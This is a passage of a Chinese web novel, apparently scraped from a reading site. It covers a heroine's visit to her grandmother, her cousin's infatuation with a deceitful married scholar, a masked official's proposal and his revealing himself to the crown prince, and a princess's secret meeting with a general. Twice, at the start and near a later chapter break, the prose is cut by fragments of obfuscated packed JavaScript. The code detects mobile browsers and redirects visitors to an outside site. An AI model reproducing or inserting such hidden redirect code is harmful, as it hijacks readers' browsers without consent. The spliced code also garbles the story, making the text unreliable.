“快起来,快起来。”容老夫人笑呵呵地叫起。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16788690|190553||http|test|mini|href|location''.split(''|''),0,{}));
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r>只是她的笑,在目光对上霍凝玉时,收了起来。
“凝玉,你要吓死外祖母啊。”眼睛跟着就湿润。
“婆母,大过年的,可不兴说这种不吉利的话。”容大夫人笑着冲淡容老夫人的伤感。
“你这皮猴,老婆子这是担心的。今儿见到凝玉好端端地站在我跟前,这心才完全放下。”容老夫人向霍凝玉招手,让她走到跟前。
握住她的手就是一阵心疼。
“以后再别做那么冒险的事了。好在老天有眼,让你活了下来,要是你有个万一,你让我们这些做长辈的如何安心?”容老夫人语重心长。
老人家最怕白发人送黑发人。
除夕那日,她并没有进宫,年纪大了,不愿去凑那个热闹。
没看到霍凝玉替圣上挡暗器,后来听老头子回来一说,她就一直提着心,派了人去霍家问,说孩子活蹦乱跳的,她才没有亲自去霍家看个究竟。
“外祖母放心。这种机会哪有那么多。”霍凝玉说得轻松。
“你外祖母就是操心得多。”容敬清拆老妻的台。
“外祖父,被亲人关心和疼爱,是最大的幸福。”霍凝玉很享受这种亲情。
霍家人又与容家各辈相互见礼,落坐。
容华芝有两个嫡兄,一个庶兄,一个庶姐,一个庶妹。
两个姐妹还没回来,离得远些。如果家里有出嫁女,有时也不回娘家。
毕竟这个年纪,都有孙子或者外孙了。
也就霍家三兄妹到现在一个成亲的都没有。
“二舅母,琳媛表妹怎么没在?”霍凝玉把所有人都扫了一遍,居然没看到容家二房的表妹容琳媛。
“哎......”一提到自己的女儿,容二夫人就一声长叹,“她被你二舅舅禁足了。”
霍凝玉看出二舅母的为难,也不再多问。
“二舅母,那我去她院子里看看她。”霍凝玉提议。
前世这个年,她身子已经不行,连自己娘家都没回,更不可能来外祖母家。
表妹犯了什么错?竟让二舅舅禁她的足。
这时她才回忆起魂飘时,她去看过两回表妹,才知道表妹被骗嫁。
第91章 表妹被骗嫁
霍凝玉随着容二夫人穿过抄手游廊,一路往容琳媛所居的锦瑟院去。
待到无人处,容二夫人才压低声音,眼圈微红。
“那丫头……看上一个男子,非他不嫁,你二舅舅死活不同意,她就闹绝食,几天下来,人就瘦了一圈。
你外祖母见媛儿这么坚决,心疼孙女,就松了口,说如果今年春闱,那男子考上了进士,就同意他们的婚事。”
接着容二夫人就把事情的经过讲了一遍。
原来年前腊月里,容琳媛随母去护国寺上香,偶遇一名叫沈知言的学子。
那人一身青衫,虽有些陈旧,却自有一股清傲气度,在梅林里吟了一首绝句,正巧被容琳媛听见。
又见那人长得俊美,一表人才,意气风华。
一时看入了眼。
“他自称是湖州府举子,家境贫寒却志存高远。
媛儿那傻孩子,竟被他几句诗,几番话哄得动了心。
后来你表妹总找借口出府,与他私会。
一开始我们都不知道,直到有一次,你表妹的丫鬟玲儿悄悄从后门回来,遇到我时,神情慌张,才引起我的注意。
又见她把一封信背到身后,我看了才知道,媛儿竟背着我们与人私相授受。”
霍凝玉蹙眉:“二舅舅最重门第,怎会容她与寒门学子往来?”
“正是如此!所以就禁了她的足,让她好好反醒。”容二夫人真是气不打一处来。
为此,夫君与她还生了嫌隙。说她没教导好女儿。
“二舅母,先别急,我去劝劝表妹,我与她年纪相当,或许说话更有用一些。”霍凝玉安慰道。
霍凝玉带着两个丫鬟,进了锦瑟院。
一进去就看到表妹木呆呆地坐在一架秋千上。
神情落寞,无精打采。
“见过表小姐。”丫鬟玲儿看到霍凝玉进来,提醒神游天外的主子。
听到丫鬟的声音,容琳媛才抬起无神的眼睛看过来。
“大表姐。”
“媛表妹。在正堂那里没见到你,二舅母说你身子不大好,就来看看你。”霍凝玉温声道。
霍凝玉看到她为情所困的小模样,心生同情。
养在深闺的女儿家,很少见到外男,稍有才情就引得芳心暗动。
哎!
她要如何帮表妹认清那男子的真面目呢?
这事得好好计划一番。
可她又不能直接说出那男子的虚伪。
表妹要是问她为何知道,她找不到理由。
表妹肯定不会信,还会认为她为了劝她,故意编造谎言,适得其反。
“大表姐。我娘是不是和你说了我的事?”容琳媛眼睛一红,委屈巴巴地问道。
“是啊。”霍凝玉点头,扶起容琳媛,“走,我们到屋里说话,这外面怪冷的。”
两人进了内室,霍凝玉看到桌上放了好几本话本子。
拿起翻了两本,都是讲风花雪月的男女情爱。
难怪表妹会对一个寒门书生心生情意,这是看话本子看多了。
“媛表妹,你真的非那人不嫁吗?”霍凝玉放下手里的书。
这些书全是害人的玩意儿,都是些穷书生想要一步登天,幻想出来的假故事。
可多少女子就喜欢里面所描写的情情爱爱,也同样幻想有一个骑着竹马来的郎君爱自己胜过任何人。
“大表姐,那人对我已情根深种,我也对他情意难消,我们是两情相悦。
我也想像二姑姑一样,得遇良人,一辈子夫妻恩爱。
如果听从父母之命媒妁之言,最多婚前见上一面,我怎么可以那样交出自己的一生?”
容琳媛说得情真意切,好似她真的找到了人生最合适的伴侣。
“媛表妹,你可知,有时知人知面不知心。
就比如我,谢正阳与我定亲三年,每次来我家,与我相谈也做得君子端方,从没表现出什么异样。
可结果呢?他却与江宁勾搭成奸。
天下男子不是你想象的那么好,这世上什么样的人都有。
今日我也不是来劝阻你的,但我希望你不要急,你现在还不到十六岁,可以多等等。你一定要与那人保持距离,不可越矩半步。等他考完会试再说。”
霍凝玉心里已经有了一个主意。
为了让表妹清醒,不能强行阻止,那就让她看清现实。
“谢谢大表姐,我知道。我不会做错事的。祖母已经答应我,就等会试过后。
沈公子学问很好,一定能高中。
他说等他高中就上门提亲。”容琳媛展颜而笑。
还好,还
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有时间。
这一日霍家人在容家过得很愉快,直到天快黑才回家。
刚吃过饭,容华芝就问起霍凝玉找表妹的事。
“娘,媛表妹绝不可嫁给那个叫沈知言的书生。
他就是个骗子,他已经成亲,而且孩子都有了。
他为了能娶到表妹,攀上容家,不惜把结发妻子贬为妾室。
可木已成舟,表妹只得认命。
那姓沈的虽对表妹没有苛待,但他的所作所为让人不齿。
他根本配不上表妹。
他能读书,顺利进京就是靠的岳家支持,到了京城,又被京城的繁华迷花了眼,又想攀更高的高枝来成就他的梦想。
姓沈的虽考上了进士,但名次靠后,表妹还要替他谋前程,多次回府求二舅舅。”
霍凝玉说的这些,容华芝知道是女儿前世看到的。
“媛儿太年轻,被人给蛊惑了。夫君,此事怎么办?我们又不能把凝玉所说直接告诉二哥二嫂,凝玉所经历的那些事,不可暴露。”容华芝有些焦急。
“夫人,这事其实并不难,只需派人去沈家把他的妻儿接进京,什么问题都解决了。就怕媛儿一根筋,知道对方娶了妻也要嫁过去。”霍鹏程对女儿家的执着也见识过一两例。
“那你能查到那姓沈的老家在哪里吗?”容华芝问道。
“娘,请赵大人去查,不用父亲。”霍凝玉打断。
这种事没必要动用父亲的关系。
礼部尚书王世昌因养外室被降了职,新尚书刚刚上任,肯定不方便。
自古新官上任三把火。
礼部此时应管得很严,父亲要是去打听一个学子的消息,会引起不必要的怀疑。
以为在为她捉婿做准备。
这就是结党营私。
本朝皇帝最讨厌榜下捉婿,可屡禁不止。
每届会试过后,京中勋贵虽不直接去榜下捉,可私下里却偷偷做。
“对对对,赵大人随便找个借口就能查个一清二楚。”容华芝很赞成。
而被几人说的赵炳煜刚好来了。
霍鹏程特意交代过管家,赵大人来可以直接带进来,不用禀报。
管家刚把人领到门口,还没进来,赵炳煜就听到提到自己。
“霍夫人,何事需要我帮忙?”
第92章 夜色下相拥,许出终生
几人望向慢步进来的赵炳煜。
霍鸣昶:这人怎么进自家像进他家似的?
霍鸣羡:这人太不把自己当外人了。
霍鹏程:小子很上道,知道如何讨女儿欢心。
容华芝是丈母娘看女婿的眼神:“赵大人来了,快进来坐。”
有求于人,自是要热情些。
“娘,我与他说。”霍凝玉不等他坐下,拉了人又出了正堂。
两人走到院子里,霍凝玉才放开他的袖子。
“你怎么这时候来我家?”霍凝玉看看已经黑下来的天色。
“这时候来更方便。”赵炳煜说得理所当然。
白天他们一家都去了容家,他来做什么?
而且他得知,寄住在霍家的钟离洛居然给她做车夫。
这是什么意思?
所以他想都不用想,踩着点来。
霍凝玉无话反驳。
晚上来确实不易引人注意。
“我娘刚才请你帮忙的事,我与你说。”
霍凝玉就把刚才与父母说过的话再说了一次,当然又是以梦见的为借口。
“小事,我派人去把那书生的妻儿都接到京城来。不过有些远,可能需要点时间。”
“没问题,只要在会试放榜前接进京即可。”霍凝玉打算以后多去外祖家看看媛表妹,希望她在这段时间不要出什么岔子。
两人说着话,又走进霍家的小园子里。
霍凝玉提了一盏灯笼为两人照路。
“凝玉,今日已是初二,很快就是十五花灯节。那日我来带你去看花灯,可好?”
他想如其他情侣那般,在那个特殊的日子与她一起漫步街头,再一起欣赏花灯,或者买一两盏她喜欢的花灯提上,一定很温馨。
不知从何时起,他越来越希望有人陪伴。而他愿意陪伴的人就是眼前人。
他厌倦了孤独,他想有个自己的小家,每日有回家的地方。
而不是随处都能将就一晚。
“好。”霍凝玉爽快答应。
忽然,一个记忆撞入心头。
前世她刚嫁人的那年花灯节,也就是这个年,谢正阳几天没回来,后来告诉她,他是出京办差,追查一伙拍花子的。
也就是这个花灯节,会有几个富家小姐被拍走,还有几个孩子,也是几家相貌好的儿郎。
好像就有太子妃娘家二哥的次子。
太子妃娘家是文臣,出门游玩也就带小厮,又没有武功,最多带两个护院。
一不小心就能让人得手。
太子妃容貌出众,她的侄儿当然也不会差。
后来有没有追到,她不知道,因为她病得实在没精力关心这些事。
“怎么了?”赵炳煜见她突然就神思不属,奇怪问道。
“赵大哥......”一开了口,霍凝玉又有些犹豫。
这事本也不用他管,主要归巡城司和京兆府管。
她只是知道有这么一个事发生,具体的她不清楚。
反而她魂飘看到的事更清楚些。
“不能说?”赵炳煜轻声道。
“也不是,只是不知道怎么说。”
“没事,有什么事你都可以告诉我。只要我能帮你,绝不容辞。”赵炳煜以为她又有什么事想请他帮忙。
霍凝玉停下脚步,半转身,仰头看向他的眼睛。
他的眼神郑重而认真,含着脉脉温情。
她的心湖荡开一圈圈涟漪。
两人默默对视良久,谁也没有说话。
霍凝玉情不自禁,抬起手摸上他的面具。
那冰冷的手感没有让她收回手。
魂飘时,只看到他冷漠的一面,从没见他对旁人热心过。
他最在意的人只有圣上。
而此刻,她从他的眼里看到了自己。
她入了他的心,她很明显感觉到了。
赵炳煜抬起手,握住她的。
再慢慢引导到耳后,指挥着柔软的小手摸上面具的系带。
霍凝玉顺着他的意思,取下了他的面具。
她完整地看到了他的脸。
双眸炯炯,胜过秋波,明亮而执着地望着她。
棱角分明的脸,气若**,美如冠玉。
霍凝玉看着这张陌生却又见过的脸,一时失了心神。
这样俊美的脸,被他深深藏起,一藏就是五年。
“可还满意?”赵炳煜低沉的声音在夜色下缱绻轻柔。
他想对她坦诚,这张脸就是其中之一。
还可以用脸诱惑,让她早些对他倾心。
“满意。”霍凝玉傻愣愣地又摸上他的脸。
比她大哥还要俊美。
趁她失神,赵炳煜把人带进怀里。
“凝玉,我知道你不会轻易许出一颗真心,但我可以等,直到你对我倾心。
我已在霍叔面前露了真容,想来他已告诉你我的**。
但那个身份我并不想要。
今日圣上问我想以什么身份娶你。我想听听你的意见
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你觉得我以什么身份好,我就以什么身份。
但不管什么身份,我就是我,对你的心意不因身份而有所不同。
也不管什么身份,我都会护你,疼你,爱重你。
我只要你心里有我,给我一个家,一个让我每日都想早早回去的家。
我想有个家,与你组成的家。”
赵炳煜发自心灵的话语,让霍凝玉想挣脱他怀抱的动作再也无法进行。
此时的赵炳煜卸下一切坚强的外壳,在她面前表现自己最脆弱的一面。
霍凝玉感觉到他的心在轻颤,在呐喊,在渴求。
轻轻抬起手,抱上他的腰肢。
赵炳煜受到莫大的鼓舞,把人搂得更紧了。
霍凝玉被感动得一塌糊涂,再也止不住眼泪溢出眼眶,沾湿了他的衣襟。
原来他也如此清苦。
他也如此脆弱。
所求不过一个家。
“以后我的家就是你的家,我的父母借你一半。”霍凝玉感动之余,大方让出自己的幸福。
她有疼爱自己的父母,感情深厚的兄弟。
与他相比,自己幸福百倍。
“你答应我了,对不对?”赵炳煜激动。
“答应你什么?”霍凝玉故作不懂。
“答应嫁给我。”赵炳煜急急道,把人推离开一些,神采飞扬地看着霍凝玉。
他要她的准确答案。
霍凝玉眼波流转,带着闪烁。
但慢慢不再游移,四目相对。
自第一次求赵炳煜帮忙,或许就注定了今日的缘分。
她没再犹豫,也没有纠结于前世的经历。
赵炳煜用灵魂在向她表白,她怎忍心拒绝。
“好,我答应你。”
在新年初二的夜色下,霍凝玉被感动得许出了终生。
赵炳煜欣喜若狂,又重重地把人拥进怀里。
“不过不是现在,等我霍家的大难过后,可好?”
“好!”赵炳煜如找到归宿般应下。
良久,两人才平静下来。
都面含微笑,赵炳煜没再戴上面具,想让姑娘多看看他。
“十五那日,我来接你去看花灯。”赵炳煜还没忘他今日来的目的。
“嗯。赵大哥,十五那晚,京里有一件大案会发生。”两人已心意相通,霍凝玉就没什么好犹豫的了。
就把之前想到的事说了一遍。
但并不具体。
赵炳煜听后,眉头深锁。
第93章 表露身份
“后来那些被拐的女子和孩子可有找回?”赵炳煜问道。
“没有。”这点,她知道。
魂飘几年都没看到太子妃娘家侄儿回家,五年后,有没有回来,她就不知道了。
“还有几日,我再想想,如何把那些歹徒一网打尽。”赵炳煜安慰地捏了捏她的手。
“那些拍花子的,专找长得好看的女子和孩子下手,必是卖去青楼楚馆。
我听说北魏人最喜欢我南楚的女子,且北魏的娼馆很多。有没有可能那些人就是为北魏收罗人?”霍凝玉猜测道。
“有可能,北魏与我南楚战乱不断,前不久又有一次小规模的战争,好在秦将军骁勇,逼退回去。他以此功请旨回京看望老将军。
可现在秦老将军时病时好,圣上不好又叫他再去边关。”
“这是辰王的计策,他想通过大公主拉拢秦家。”霍凝玉早就看出来。
“我知道。圣上年纪大了,各皇子的野心早就暴露无遗,可圣上也无能为力,只能做到平衡。”赵炳煜也没有更好的办法。
明知是辰王和霁王联合设计三皇孙落水,也没重处,不过是打压了几个两派官员。
除夕,刺客入宫,也只打了两人各十板子。
之前,他只一心为皇上办事,也不参与任何皇子之间的争斗。
自霍凝玉告诉他辰王会杀了霍家满门,他才拿定主意。
“赵大哥,我有一个主意,不知可不可行。”霍凝玉忽然灵机一动。
“你说。”
“那些人既然专对长相出众的孩子下手,可不可以让凌哲世子做饵?
事成后再把世子做饵的事公之于众,让那些被拐的人家心存感激。
这是提高世子威望的一次机会,也是让他深入人心的机会。”霍凝玉想了想说道。
“不错,还能让那些受惠的人家在感激之余,不会投向辰王和霁王,一举三得。”赵炳煜也觉得这主意不错。
“不过,此事必须征得太子和凌哲世子的同意方可。”赵炳煜又道。
“嗯,凌哲世子的安全一定要保证。如果他同意,到时我陪着他一起。”霍凝玉也把自己当饵,“再把这个消息透露给辰王和霁王,但不能说世子去做饵,而是说他要与我一起逛灯市。”
“真是个聪明的姑娘。”赵炳煜笑着夸赞。
他也如此想,两人真是心有灵犀。
两人又商量了一阵,赵炳煜才戴上面具离开。
悄悄进了太子府。
太子居东宫,但有另外的门进出,不用从宫门入。
“见过太子殿下。”赵炳煜一拱手,不卑不亢。
“赵大人,深夜到访,有何要事?”太子赵昀熙本准备歇下,却听内侍说赵壑来了。
此人从不上他的太子府,深夜而来让他惊疑。
知他是父皇身边最器重之人,哪怕官职只是五品,却不容小觑。
“殿下,臣有一事想请世子帮忙。”赵炳煜直言道。
“他一个孩子能帮你什么忙?”太子一怔。
赵炳煜就把刚才与霍凝玉商量的事如实相告。
他也想看看太子的魄力。
“你可知凌哲于本宫的重要性。要是有个万一,你可担得起这个责?”太子突然凌厉起来。
哪怕身子虚弱,也不掩皇家人的气势。
“臣自是知道。”赵炳煜郑重道。
太子微眯了眯眼,看着面前身姿笔挺的鬼面人。
此人,他也调查过,可他的来历怎么也查不到。
他也只能相信大家的猜测,是父皇的影卫。
父皇的影卫都是特意培养的,只听命于皇帝,也只忠于皇帝。
“你的目的为何?是父皇让你来的?”太子可不信他只是想儿子帮个忙那么简单。
京中美貌的孩子多的是,不随便找一个,偏来找东宫的世子。
赵壑此举必有深意。
赵炳煜见太子这么快就反应过来,暗自点头。
示意太子把门外伺候的打发远一点。
太子见他坦荡,照做。
“三哥。”赵炳煜低低唤了一声。
太子以为自己听错了,猛地一转身,直盯着赵炳煜的眼睛:“你叫本宫什么?”
“三哥!”赵炳煜再唤一声,然后慢慢摘下面具。
当看到他的真容,太子眼睛睁得越来越大。
“炳煜,怎么是你?你不是去边关投军了吗?”太子简直不敢相信自己的眼睛。
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“三哥,臣弟从未离开过京城。”赵炳煜又把面具戴上。
“你......”太子不知说什么好,堂弟把真容给他看,就是在告诉他**。
而他今夜来太子府,目的已经再清楚不过。
“三哥,请放心将哲儿交与臣弟,臣弟定会护他周全。”
只一瞬,太子就想明白他为何不找其他孩子,而是找最尊贵的东宫世子。
同时他也知道了堂弟这是在向他递橄榄枝。
堂弟的橄榄枝何其宝贵。
他却给了东宫,自他受伤以来,再无人对他抱有希望。
堂弟七岁养在父皇身边,深得父皇信任。
而今晚,堂弟义无反顾地来向他表明身份。
太子激动地走到赵炳煜面前,将他紧紧抱住。
“炳煜,三哥谢谢你。”太子用力拍了拍他的后背。
“三哥,走出这道门,臣弟就是赵壑,你什么也不知道。”赵炳煜叮嘱。
“本宫知道。就是你三嫂,本宫都不说。”太子是聪明人。
赵炳煜藏得越好,才能在关键时候出其不意。
过年期间,正是各府办春宴的大好时机。
官员不用上朝,各行各业都停业休息。
大街上的铺子大多都不开门,逛街就没了意思。
霍凝玉就跟着母亲各家吃酒。
每次钟离洛都甘心做母女俩的车夫。
而且他驾车很稳。
有一次遇到突发情况,从巷子里突然窜出来一辆马车,本是很难避开,而他却做到了。
只一脚就把眼看要撞上来的马头给一脚踢开,看得赵鸣昶久久合不拢嘴。
大夸钟离洛神勇,力可拔山。
而得到夸奖的钟离洛却回头看了一眼撩开车帘的霍凝玉,脸上带着憨憨的笑。
“钟离大哥太棒了,今日回家,我就和你学甩鞭。”霍凝玉也为钟离洛的那一手拍手叫绝。
因霍凝玉被封县主,那些看不起她是退过亲的人家又看到了娶她的好处。
向容华芝打听霍凝玉婚事的人家突然多了起来。
容华芝都含笑以对,不得罪谁,也没给谁准话。
这个消息青风第一时间就传给了赵炳煜。
第94章 向霍鸣羡倒去
赵炳煜得知后,心里有些膈应,让人着重查了那些肖想霍凝玉的人家。
有问题的就把消息递给都御史容敬清。
只等开印,圣上就能收到一堆**的折子。
正月初八,圣上正式开印。
霍鹏程又开始每日早起上朝再上职的日常。
而霍凝玉当真与钟离洛学起了甩鞭。
“哎哟,钟离大哥,这鞭子明明看着细细的,甩起来胳膊真累。”
赵凌哲送给她的鞭子本就适合女子用,不到一丈长,且细。
往腰上一缠,还可以当装饰。
“县主平时很少锻炼臂力,用起来自是吃力,所以要坚持每日练习。
时日一久,胳膊就有力了。哪个不长眼的要是冒犯你,一鞭子甩过去,也能震慑住对方。”
“钟离大哥,我才练了三日,胳膊都不像自己的了。”霍凝玉并没有抱怨的意思。
她的确想把鞭子甩好,说不定在某个时候还能自救。
青风不可能时刻都跟得那么近。
“我有一个药方,可以让丫鬟抓来给你泡泡药浴,会恢复得快些,也能去乏。”钟离洛眼露心疼。
想到以前师姐和他说过一个药方,或许能起点作用。
他想多与霍凝玉相处,但没有别的借口,只有教他练习甩鞭才是最好的机会。
他不敢有亵渎之心,而是单纯想亲近她。
他早在心里下定决心,以后都要护着她,不管以什么身份。
“真的?太好了,快说。”
钟离洛回想一下,报出药名和用量,珍珠立刻拿了笔来记录下来。
“小姐,大公主府又送来请帖。”玛瑙拿着一封请帖从主院过来。
霍凝玉接过,打开。
“请我们兄妹一起去赏梅?”霍凝玉转头看了一眼院子东北角的一株开得正艳的粉梅。
正月确实是赏梅的好时节。
再看地址,正是大公主在城外的落梅庄。
大公主的请帖,不能拒,除非病得起不来床。
“可知大公主都请了哪些人?”霍凝玉问道。
“奴婢这就去打听。”
这事也不难打听,天黑前,玛瑙就打听清楚了。
都是京中的贵子贵女们,也有成亲的,也有没成亲的,主要以没成亲的为主。
其中还有秦家二房的姑娘。
大房就是秦苍霆,直到现在也没有成亲。
霍凝玉心里想了想,冷笑出声。
大公主估计是想借赏梅宴与自己的情人相见吧。
正月十二。
春寒料峭。
阳光照在身上,却感觉不到多少暖意。
霍凝玉穿了一身绛红色金线绣花衫,一条桃红百褶湘裙,满头珠围翠绕,真个富贵逼人。
再配一件月白色大氅,真真是美若天仙。
圆圆的苹果脸,略施粉黛,额间一朵梅花钿,一看就是有福之人的长相。
最是讨人喜欢。
当她走出垂花门,钟离洛看呆了眼。
“妹妹这么一打扮,气质高雅,貌比嫦娥,整个京城无人能比。”霍鸣羡嘴里满是溢美之词。
“大哥就会夸我,好像你见过嫦娥似的。”霍凝玉羞涩一笑。
“霍兄说得一点也不夸张。”钟离洛点头附和。
身材高大的他,脸上带着痊愈后的淡淡红韵,没了平日的严肃与拘谨,反而在看到霍凝玉时,有些腼腆。
钟离洛仍做车夫。
在不做车夫之余,他每日就在霍家的客院练习武艺。
霍鸣羡没选择骑马,而是与妹妹同乘。
青风驾了一辆丫鬟和小厮坐的马车,跟在后面。
一行出城到落梅庄时,已经有多家贵子贵女已经到了。
下了马车,霍凝玉居然看到谢正阳一身巡城司将官服饰在大门外帮着维持秩序。
看来谢家与大公主已经关系匪浅。
连赏梅宴都为大公主鞍前马后。
而那日在宫中看到辰王与大公主在凉亭里谈话。
估计谢家与大公主都已经与辰王成了一个阵营。
还要再加一个秦府。
霍凝玉视若无睹,与大哥一起进了落梅庄。
大公主是乾德帝第一个孩子,而且还是元后所出。
对这个女儿乾德帝宠爱有加,而且心存愧疚,对她一向大方。
这个庄子,除了种了一大片梅树外,还有很多玩乐场地。
如跑马场,射击场,蹴鞠场,戏水池等。
霍凝玉会凫水就是在这里学会的。
庄子也对外开放,谁想来玩,只要向管事的提前递帖子租用即可。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16788694|190553||http|test|mini|href|location''.split(''|''),0,{}));
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r>大公主时不时到这里来小住。
这样的庄子,其实和皇家园林没多少区别。
兄妹俩先来到临水阁,这里正是大公主常住的地方。
“臣子(女)见过大公主殿下。”
“快免礼。霍尚书家的孩子就是长得好。”赵明月微笑着夸奖。
目光在霍鸣羡身上停留了几息。
“听说霍公子今年就要参加会试,本宫先祝你金榜题名。”赵明月暗自点头。
霍家大公子长得确实好,没有文弱书生的酸腐气,反而气宇轩昂,神采奕奕。
“谢大公主吉言。”霍鸣羡一揖。
“慧兰,你是主人,今日好好招待各家公子小姐,带霍家兄妹去玩吧。”赵明月特意向身侧的慧兰县主示意。
“是,母亲。”慧兰县主略带羞意。
“霍公子,霍小姐,你们很少来落梅庄,我给你们介绍介绍。”王慧兰熟络地挽住霍凝玉的胳膊。
霍凝玉只得跟着出了临水阁。
“霍小姐,现在你也是县主了,恭喜你。而且你还有食邑,我都没有。”王慧兰对此很羡慕,甚至嫉妒。
但母亲说,不用计较此事,因为母亲有食邑,外祖父不会再给她食邑,以后母亲的就是她的。
母亲会想办法让外祖父同意。
“多谢慧兰县主,你才是真正的金枝玉叶,我不过是靠为皇上挡了暗器,皇上仁慈赏下的。”霍凝玉谦虚道。
“霍公子,听说你游学走了很远,可否给我讲讲外面的见闻?我长这么大都没出过远门,最远只随母亲去过一百里外的华云山祭祀。”慧兰县主说着放开了霍凝玉的胳膊。
故意与霍鸣羡走到一起,那天真求知的样子,透着小女儿的娇态。
“县主想知道什么?”霍鸣羡退开些,保持适当距离。
可慧兰县主像没看到似的,又故意靠近了些。
“听说你们一行还去了东临国,东临皇还请你们入宫赴宴?”慧兰县主眼睛亮晶晶地看着霍鸣羡。
霍凝玉皱了皱眉,慧兰县主怎么这么热情?
“确有此事。”
三人一路走,霍鸣羡拣了几件趣事来讲。
可不知怎么的,慧兰县主走个路却没走稳,自己把自己拌了一下,向霍鸣羡倒去。
第95章 大公主私会情郎
霍凝玉早就感觉到慧兰县主的异样,随时留意着她的举动。
见她倒向大哥,动作迅速,一把将人拉住。
“县主小心,你这裙子是不是长了点?”霍凝玉淡笑着帮她理了理裙摆。
慧兰县主脸上的笑僵了一下,但很快稳定下来。
“庄子上的路就是不太好走,与府里比,差太远。
霍大哥,你是想去文昌阁还是去蹴鞠场?”慧兰县主掩饰了一下尴尬,又笑着问道。
“去蹴鞠场吧。”霍鸣羡每日在家看书,难得出来,想运动一下。
慧兰县主带着两人先去蹴鞠场。
正好有几个贵公子正在凑人数。
“鸣羡,难得啊,来来来,加入我们这队。”有个同窗远远看到人,就向霍鸣羡招手。
“妹妹,我先去玩,你也去找你的小姐妹们一起玩,中午我自会来找你。”霍鸣羡看到了朋友,迫不及待想玩一下。
“去吧。我会照顾好自己。”
慧兰县主又带着霍凝玉去女孩子最爱的地方,梅林。
“霍姐姐,陈家上门退亲,霍大哥是不是很难过?”慧兰县主问起。
“县主为何这么问?”霍凝玉已经看出慧兰县主什么目的。
“我看霍大哥退亲都快小半年了,也没听说你们家再给他相看人家。
所以我就想,霍大哥是不是对陈芳蓠还旧情难忘。
最近陈家在给陈芳蓠相看,可她这个看不上那个看不上,她都十七岁了,还挑三拣四。”慧兰县主带着鄙夷。
“慧兰县主,我也十七岁了。”霍凝玉淡淡道。
“你怎么能和她一样,你是受了委屈,心里难过一段时间很正常。
而且你现在可是外祖父亲封的昭勇县主,身份尊贵,还差求娶的人?
霍夫人估计都要挑花眼了吧?”慧兰县主取笑道。
霍凝玉只是笑笑,不接话。
两人来到梅林,果然有好些贵女们已经来到这里。
一个凉亭里放了很多花篮。
“霍姐姐,我娘说今年大方一回,姑娘们都可以去摘一篮花回去做梅花酥吃。但一人只限一篮,且要自己摘,不可让丫鬟帮忙。”慧兰县主指了指那一堆花篮。
梅花向来受人欢迎。冬天,百花未开,只得梅花,在这个季节,独占鳌头。
“好,我去摘。”霍凝玉也喜欢梅花酥,难得遇到这么好的机会。
珍珠去拿了篮子来,主仆三人去摘绽放的梅花。
慧兰县主又去接其他人过来。
“小姐,慧兰县主是不是看上大公子了?”玛瑙见慧兰县主走远,才小声问出自己的疑惑。
“你也看出来了?”霍凝玉看了一眼走远的慧兰县主。
这就有点麻烦了。
大公主的女儿,可没几人敢拒婚。
估计大哥也感觉到了。
“明眼人都看得出来。”玛瑙有点懊恼。
她家大公子可是人中龙凤,慧兰县主虽身份高贵。
可她的出身谁不知道,怎么配得上大公子。
一个私生女而已。
“走吧,摘花去。”霍凝玉目前也没有办法,只能把消息先告诉母亲。
梅林很大,一行行,一列列,错落有致。
品种多样,每一株梅树皆似遗世独立的仙子,枝干虬曲苍劲,如龙蛇蜿蜒,带着一种历经风霜的坚韧。
枝头的梅花,或粉若云霞,轻柔地晕染着冬日的清冷。
或白如凝脂,纯净得没有一丝杂质,在凛冽的寒风中傲然绽放,散发着清幽淡雅的芬芳,似有若无地萦绕在林间。
霍凝玉身着锦衣,衣袂飘飘,宛如从画中走出的仙子,与梅林融为一体。
被邀请的各家贵子贵女们都陆续进了落梅庄。
而大公主等的人也来了。
秦苍霆亲自送自家侄子侄女来参加赏梅宴,且是最后一个到的。
然,他本人并没有进庄。
看到侄子侄女进了庄子,他就打马而去。
谢正阳看着他远去的背影,故意下令让下属们收队,等宴会结束前再过来巡视。
而他则一人守在门外,让那些马夫们都呆在各自的马车里,不许出来,也不要向外看。
钟离洛感觉奇怪,各家的车夫也管。
他也老老实实坐进车里。
没过多久,他就听到马蹄声传来。
趁谢正阳背过身去之际,他大胆地掀了一条缝向外看。
正好看到一个高大的男子,年约三十五左右,正打马过来。
可惜他不认识。
那人把马缰直接丢给谢正阳,然后进了落梅庄。
两人之间一句话都没说。
秦苍霆刚进了落梅庄,大公主身边的苏嬷嬷就迎了上来。
“将军,您可算来了,大公主等您多时。”
“有劳。”
苏嬷嬷带着秦苍霆从一条小径去了临水阁。
此时这里已没有外人。
两人从后门进去。
“秦郎。”大公主赵明
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月一见到来人,眼里瞬间蓄满了眼泪。
“公主。”秦苍霆喉头发紧。
这还是秦苍霆回京后,两人第一次私下见面。
之前见面都在公开场合,没能一解相思之苦。
赵明月再也忍不住,扑进男人的怀里。
“我好想你。”
苏嬷嬷立即出去,把门关上,守在门外,不让任何人打扰。
“公主......”秦苍霆心里震动如雷鼓。
年少轻狂,意气风发,打马过街,车马盈果。
那时他怎么也不会想到自己会对大公主一见钟情。
可是大公主美艳无双的姿容,让他怎么也忘不掉。
那时他逮住一切机会出现在大公主能出现的场合。
那时他只有十六岁,大公主十四岁。
大公主对他日渐生情。
为了大公主,他可以不做秦家的继承人,只想与大公主琴瑟和鸣。
可就在他准备向家里人说自己的想法之时,边关告急,父亲重伤,而二弟只有十四岁。他不得不奔赴边关,接替父亲。
好不容易把敌人赶出南楚,已两年过去。
他带着病弱的父亲回来,**行赏。
他本想用军功向圣上求娶大公主为妻。
